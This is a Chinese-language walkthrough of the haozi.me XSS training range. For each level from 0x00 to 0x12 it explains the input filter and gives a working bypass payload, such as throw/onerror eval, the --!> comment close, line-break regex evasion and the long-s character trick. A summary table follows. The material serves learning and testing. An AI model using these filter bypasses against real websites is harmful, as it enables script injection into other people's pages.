从零到一:XSS靶场 haozi.me 全关卡通关教程(含冷知识汇总)

从零到一:XSS靶场 haozi.me 全关卡通关教程(含冷知识汇总)

前言:为什么推荐这个XSS靶场?

对于刚接触Web安全的新手来说,找一个"纯粹"的XSS练习靶场并不容易------很多靶场依赖抓包改包、URL解码绕过,反而忽略了最核心的代码分析能力Payload构造逻辑。而「haozi.me XSS靶场」恰好填补了这个空白:它限制输入仅在当前页面完成,浏览器自动URL编码,无法通过外部工具作弊,所有关卡都围绕"理解源码过滤规则+利用HTML/JS特性"展开,还藏了不少冷门但实用的知识点(比如两种HTML注释符、古英文字符绕过),堪称磨练XSS基础的"磨刀石"。

本文将按关卡顺序(0X00-0X12),逐一拆解每个关卡的过滤逻辑、通关思路和Payload,帮你吃透XSS基础绕过技巧。

靶场在线地址:https://xss.haozi.me/#/0x00

正文:全关卡通关解析(0X00-0X12)

0X00:新手友好关------无任何过滤

关卡特点

最基础的入门关,无任何输入过滤和验证,直接构造标准XSS Payload即可触发弹窗。

通关思路与Payload

无需绕过,直接使用<script>标签执行弹窗代码:

html 复制代码
<script>alert(1)</script>

提示:此关可尝试其他标签(如<img>),熟悉不同XSS触发方式。

0X01:<textarea>标签闭合绕过

关卡特点

输入内容被包裹在<textarea>标签内,默认作为文本渲染,需先闭合<textarea>再执行代码。

通关思路与Payload

先闭合原有<textarea>标签,再插入执行代码:

html 复制代码
</textarea><script>alert(1)</script>

原理:<textarea>标签需明确闭合,闭合后后续代码会被浏览器解析为HTML/JS。

0X02:<input>标签双引号/闭合绕过

关卡特点

输入内容在<input>标签的属性中,无过滤,可通过双引号突破属性限制,或闭合标签。

通关思路与Payload

利用双引号闭合value属性,添加onfocus事件(配合autofocus自动触发):

html 复制代码
" onfocus=alert(1) autofocus "

提示:autofocus可选,若不加需点击输入框触发onfocus事件。

0X03:小括号过滤------反引号/throw绕过

关卡特点

过滤输入中的小括号(),替换为空字符,需绕过括号限制执行alert(1)

通关思路与Payload

有两种常用绕过方式:

  1. 反引号绕过 :JS中函数调用可使用反引号(`)代替括号:

    html 复制代码
    <script>alert`1`</script>
  2. throw绕过 :利用window.onerror捕获错误并执行eval,将代码藏在错误信息中:

    html 复制代码
    <svg/onload="window.onerror=eval;throw'=alert\x281\x29';">

原理:\x28(的十六进制编码,throw抛出的字符串会被eval解析执行。

0X04:括号+反引号过滤------throw必通

关卡特点

同时过滤小括号()和反引号,仅剩throw`绕过方式可行。

通关思路与Payload

复用throw逻辑,换用<img>标签(更简洁):

html 复制代码
<img src onerror="window.onerror=eval;throw'=alert\x281\x29';">

提示:标签可替换为<svg>,核心是onerror事件触发逻辑。

0X05:HTML注释符闭合------冷门注释符绕过

关卡特点

输入内容被包裹在<!-- -->注释内,且过滤了常规注释闭合符-->,需用冷门注释符突破。

关键冷知识

HTML注释符有两种写法:<!-- -->(常规)和<!-- --!>(冷门,同样可闭合注释)。

通关思路与Payload

--!>闭合注释,再插入执行代码:

html 复制代码
--!><script>alert(1)</script>

0X06:正则过滤auto/on.*=/------回车换行绕过

关卡特点

源码用正则/auto|on.*=|>/ig过滤:匹配autoon开头+=>,替换为_,但忽略了换行符

源码解析
javascript 复制代码
function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_') // 不区分大小写,过滤关键字符
  return `<input value=1 ${input} type="text">`
}
通关思路与Payload

onfocus=之间插入换行符,绕过正则on.*=的匹配:

html 复制代码
onfocus    
=alert(1);

原理:正则on.*=匹配"on开头+任意字符+=",换行符会打断"任意字符"的连续匹配,使过滤失效。

0X07:过滤所有标签------不闭合标签执行

关卡特点

源码用正则/<\/?[^>]+>/gi过滤所有<内容></内容>标签,看似无法插入标签,实则可利用"不闭合标签"执行。

源码解析
javascript 复制代码
function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi // 匹配所有完整/闭合标签
  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}
关键冷知识

HTML中部分标签无需完整闭合,只要事件属性(如onloadonerror)存在,即可触发执行。

通关思路与Payload

使用不闭合的<svg><img>标签,仅保留事件属性:

html 复制代码
<svg/onload=alert(1)

提示:若不生效,可在末尾加一个回车(部分靶场判断逻辑需换行)。

0X08:过滤</style>------空格绕过闭合

关卡特点

输入内容在<style>标签内(样式标签无法直接执行JS),且过滤</style>替换为"坏人",需绕过闭合</style>

关键冷知识

</style>style后加空格(如</style >),可绕过过滤且正常闭合标签。

通关思路与Payload

用带空格的</style >闭合样式标签,再插入<img>执行代码:

html 复制代码
</style ><img src="" onerror=alert(1) >

0X09:URL开头验证------双引号突破src属性

关卡特点

源码要求输入以http://www.segmentfault.com开头,才会插入<script src="输入内容">,需突破src属性限制。

源码解析
javascript 复制代码
function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/ // 匹配指定开头的URL
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}
通关思路与Payload

在合法URL后加双引号闭合src,再添加onerror事件:

html 复制代码
http://www.segmentfault.com" onerror="alert(1)

原理:双引号闭合src="合法URL",后续onerror成为<script>标签的新属性,加载失败时触发。

0X0A:URL验证+实体编码------利用靶场自带JS文件

关卡特点

在上一关基础上,增加了实体编码(将&/'"<>/转为实体,无法双引号绕过),需另辟蹊径。

关键冷知识

靶场域名haozi.me下有一个自带JS文件:j.js,内容就是alert(1),可直接引用。

通关思路与Payload

构造符合URL开头验证的地址,指向靶场自带的j.js

html 复制代码
https://www.segmentfault.com.haozi.me/j.js

原理:www.segmentfault.com.haozi.me满足"以www.segmentfault.com开头"的正则,实际指向haozi.mej.js

0X0B:全大写转换------实体编码绕过

关卡特点

输入内容被强制转为大写(toUpperCase()),而alert()必须小写才执行(ALERT()无效),需用实体编码绕过。

关键冷知识

HTML实体编码在页面渲染时会自动转换为原字符,且转换不受大写影响。

通关思路与Payload

先闭合<h1>标签,再用<img>标签+实体编码的alert(1)

html 复制代码
</H1> <img src=M onerror=alert(1)>

原理:<h1>转为大写后是<H1>,闭合后插入的<img>事件中,alert(1)未被大写转换(因在属性内),直接执行。

0X0C:过滤script+全大写------双写/单标签绕过

关卡特点

先过滤script(替换为空),再强制大写转换,可通过双写script或用单标签(如<img>)绕过。

通关思路与Payload

提供3种可行方案:

  1. 双写script绕过scrscriptipt被过滤后变为script

    html 复制代码
    </H1> <scrscriptipt src onerror=alert(1)></scrscriptipt>
  2. <img>标签绕过 (更简洁):

    html 复制代码
    </H1> <img src onerror=alert(1)>
  3. <svg>标签绕过

    html 复制代码
    </H1> <svg onload=alert(1)>

0X0D:过滤<>/'"+单行注释-------->注释绕过

关卡特点

输入内容在// alert('输入')的单行注释内,过滤了<>/'",无法用///*注释,需用-->(HTML单行注释)。

关键冷知识

-->是HTML的单行注释符,可注释掉后续内容,且不被当前过滤规则拦截。

通关思路与Payload

先换行(突破//注释),再用-->注释后续')

html 复制代码
(此处先按回车)
alert(1);
-->

格式说明:第一行必须是回车,使alert(1);脱离//注释范围,-->注释掉后面的'),避免语法错误。

0X0E:过滤<+字母+全大写------古英文字符ſ绕过

关卡特点

源码用/<([a-zA-Z])/g<+字母替换为<_字母(如<svg<_svg),再强制大写,看似无法插入标签。

关键冷知识

古英文(古拉丁文)中,ſs的异体字,其大写形式为S,且不被[a-zA-Z]过滤(因ſ是特殊字符)。

通关思路与Payload

ſ代替s,构造<ſvg>标签(大写后变为<SVG>,正常执行):

html 复制代码
<ſvg/onload=alert(1)>

0X0F:实体编码+console.error------括号闭合+注释绕过

关卡特点

输入内容在console.error('输入')内,特殊字符被实体编码,需闭合console.error()再执行代码。

源码解析
javascript 复制代码
function render (input) {
  function escapeHtml(s) {
    // 所有特殊字符转为实体编码
    return s.replace(/&/g, '&')...replace(/>/g, '>')
  }
  return `<img src onerror="console.error('${escapeHtml(input)}')">`
}
通关思路与Payload

')闭合console.error(',用//注释后续内容:

html 复制代码
'),alert(1); //

原理:console.error(''),alert(1); //')中,')闭合前半部分,alert(1)执行,//注释掉后面的')

0X10:无过滤------直接执行代码

关卡特点

输入内容直接赋值给window.data,无任何过滤,直接写alert(1)即可。

通关思路与Payload
html 复制代码
alert(1)

原理:window.data = alert(1)会直接执行alert(1),无需标签包裹。

0X11:特殊字符转义------//注释绕过

关卡特点

输入内容在javascript:console.log("输入")内,特殊字符被转义(如//\/\/),但\/\/仍能实现注释效果。

通关思路与Payload

");闭合console.log(",执行alert(1)后用//注释:

html 复制代码
"); alert(1) //

原理:console.log(""); alert(1) //")中,");闭合前半部分,//注释后续内容。

0X12:仅过滤双引号------\转义绕过

关卡特点

源码仅过滤双引号(替换为\"),可通过\转义\,使\"变为"

源码解析
javascript 复制代码
function escape (s) {
  s = s.replace(/"/g, '\\"') // 双引号替换为\"
  return '<script>console.log("' + s + '");</script>'
}
通关思路与Payload

\转义替换后的\,闭合console.log("

html 复制代码
\");alert(1)//

原理:\使\"变为",最终代码为console.log("");alert(1)//"),成功执行。

总结:从靶场学到的核心知识点

这个靶场虽然只有13关,但覆盖了XSS绕过的核心场景,尤其适合新手建立"看源码→找规则→想绕过"的思维:

  1. 过滤绕过技巧 :双写(如scrscriptipt)、回车换行(绕过on.*=)、实体编码(绕过大写)、特殊字符(如ſ--!>)。
  2. HTML/JS特性利用 :不闭合标签执行、两种HTML注释符、throw+onerror绕过括号、//注释的转义失效。
  3. 新手建议
    • 不要死记Payload,先理解每关的源码过滤逻辑(比如正则匹配了什么);
    • 遇到卡关时,多尝试"反常识"操作(如不闭合标签、用冷门字符);
    • 记录靶场中的冷知识(如ſ--!>),这些在真实场景中可能用到。

通过这个靶场,你会发现XSS绕过的核心不是"记Payload",而是"理解规则+利用特性"------这也是Web安全的基础思维。

haozi.me XSS 靶场核心知识点手册

手册用途:汇总靶场13个关卡的过滤规则、核心技巧与通关Payload,方便快速复习XSS基础绕过逻辑,重点标注冷门知识点与关键特性。

全关卡核心信息表(0X00-0X12)

关卡标识 过滤规则/场景限制 核心知识点 通关Payload 备注
0X00 无任何过滤与验证 标准XSS标签用法,<script>标签直接执行JS <script>alert(1)</script> 新手入门关,可尝试<img>等其他标签练手
0X01 输入被<textarea>包裹(默认渲染为文本) 标签闭合原理:需先闭合<textarea>,后续代码才会被解析 </textarea><script>alert(1)</script> 闭合标签后,HTML会正常解析后续代码
0X02 输入在<input>标签属性内,无过滤 双引号突破属性限制:用"闭合value属性,添加事件 " onfocus=alert(1) autofocus " autofocus可选,不加需点击输入框触发onfocus
0X03 过滤小括号()(替换为空) 1. JS中函数调用可⽤反引号代替括号;<br>2. throw+onerror捕获错误执行eval` 1. <script>alert1</script> 2. <svg/onload="window.onerror=eval;throw'=alert\x281\x29';"> \x28(的十六进制编码,避免被过滤
0X04 同时过滤小括号()与反引号` throw绕过是唯一可行方案,依赖eval解析错误信息 <img src onerror="window.onerror=eval;throw'=alert\x281\x29';"> 标签可替换为<svg>,核心是onerror事件
0X05 输入被<!-- -->包裹,过滤常规注释符--> HTML冷门注释符:<!-- --!>可替代-->闭合注释 --!><script>alert(1)</script> 多数人不了解两种注释符,是靶场核心冷知识
0X06 正则`/auto on.*= >/ig过滤(替换为_`) 回车换行绕过正则:on.*=匹配连续字符,换行可打断匹配
0X07 正则/<\/?[^>]+>/gi过滤所有完整/闭合标签 不闭合标签可执行:部分标签无需完整闭合,事件属性仍生效 <svg/onload=alert(1) 若不生效,末尾加回车(靶场判断逻辑差异)
0X08 输入在<style>内,过滤</style>(替换为"坏人") 空格绕过标签过滤:</style >style后加空格)可正常闭合 </style ><img src="" onerror=alert(1) > 空格不影响标签闭合功能,但能绕过正则匹配
0X09 要求输入以http://www.segmentfault.com开头 双引号突破src属性:闭合src后添加事件属性 http://www.segmentfault.com" onerror="alert(1) 需满足URL开头验证,再通过onerror触发弹窗
0X0A 上一关基础+实体编码(&/'"<>/转实体) 利用靶场自带JS:haozi.mej.js内容为alert(1) https://www.segmentfault.com.haozi.me/j.js 实体编码无法绕过,需借助外部合法JS文件
0X0B 输入强制转为大写(ALERT()无效) HTML实体编码自动转换:实体在渲染时会还原为原字符 </H1> <img src=M onerror=alert(1)> alert(1)在属性内不被大写转换,可直接执行
0X0C 先过滤script(替换为空),再强制大写 1. 双写绕过:scrscriptipt过滤后变为script; 2. 单标签无需script </H1> <img src onerror=alert(1)> 推荐用<img>/<svg>,比双写script更简洁
0X0D 过滤<>/'",输入在//单行注释内 HTML单行注释符-->:可注释后续内容,不被当前规则过滤 (第一行回车) alert(1); --> 回车突破//注释,-->屏蔽后续')避免语法错
0X0E 正则<([a-zA-Z])替换为<_$1,再强制大写 古英文字符ſſs异体字,大写为S,不被[a-zA-Z]过滤 <ſvg/onload=alert(1)> 输入后会转为<SVG/onload=alert(1)>,正常执行
0X0F 实体编码+输入在console.error('') 括号闭合+注释:用')闭合函数,//注释后续内容 '),alert(1); // 最终代码:console.error(''),alert(1); //')
0X10 输入直接赋值给window.data,无过滤 直接执行JS:无需标签包裹,赋值语句会直接运行 alert(1) 最简单的JS执行场景,无任何绕过关卡
0X11 特殊字符转义(如//\/\/ \/\/仍能实现注释:转义后的//不影响注释功能 "); alert(1) // 最终代码:console.log(""); alert(1) //")
0X12 仅过滤双引号(替换为\" \转义绕过:\使\"还原为",闭合函数 \");alert(1)// 最终代码:console.log("");alert(1)//")

核心知识点分类总结

1. 标签与注释相关

  • 两种HTML注释符<!-- -->(常规)、<!-- --!>(冷门,0X05)。
  • 不闭合标签执行<svg/onload=alert(1)(无需>,0X07)。
  • 空格闭合标签</style >(空格不影响闭合,0X08)。

2. 过滤绕过技巧

  • 双写绕过scrscriptipt(过滤script,0X0C)。
  • 回车换行绕过onfocus=间换行(突破on.*=,0X06)。
  • 特殊字符绕过 :古英文字符ſ(替代s,0X0E)。

3. JS与事件相关

  • 函数调用替代:反引号`代替括号(0X03)。
  • throw+onerrorwindow.onerror=eval;throw'=alert\x281\x29'(绕过括号,0X03/0X04)。
  • 实体编码特性:实体在渲染时自动还原(绕过大写,0X0B)。

使用建议

  1. 复习时按"关卡标识→过滤规则→核心知识点"的顺序回忆,再对照Payload验证逻辑,避免死记硬背。
  2. 重点标记"冷知识"(如--!>ſ),这些是真实场景中易被忽略的突破点。
  3. 每个关卡尝试替换不同标签(如<img><svg>),熟悉多种XSS触发方式。
相关推荐
qq_419854054 小时前
自定义组件(移动端下拉多选)中使用 v-model
前端·javascript·vue.js
你的电影很有趣4 小时前
lesson74:Vue条件渲染与列表优化:v-if/v-show深度对比及v-for key最佳实践
前端·javascript·vue.js
颜酱5 小时前
了解 Cypress 测试框架,给已有项目加上 Cypress 测试
前端·javascript·e2e
技术小丁5 小时前
uni-app 广告弹窗最佳实践:不扰民、可控制频次、含完整源码
前端·uni-app·1024程序员节
quan26315 小时前
日常开发20251022,传统HTML表格实现图片+视频+预览
前端·javascript·html·html列表实现图片+视频
陶甜也5 小时前
ThreeJS曲线动画:打造炫酷3D路径运动
前端·vue·threejs
楊无好5 小时前
react中的受控组件与非受控组件
前端·react.js
菠萝+冰5 小时前
react虚拟滚动
前端·javascript·react.js
落一落,掉一掉5 小时前
第十三周前端加密绕过
前端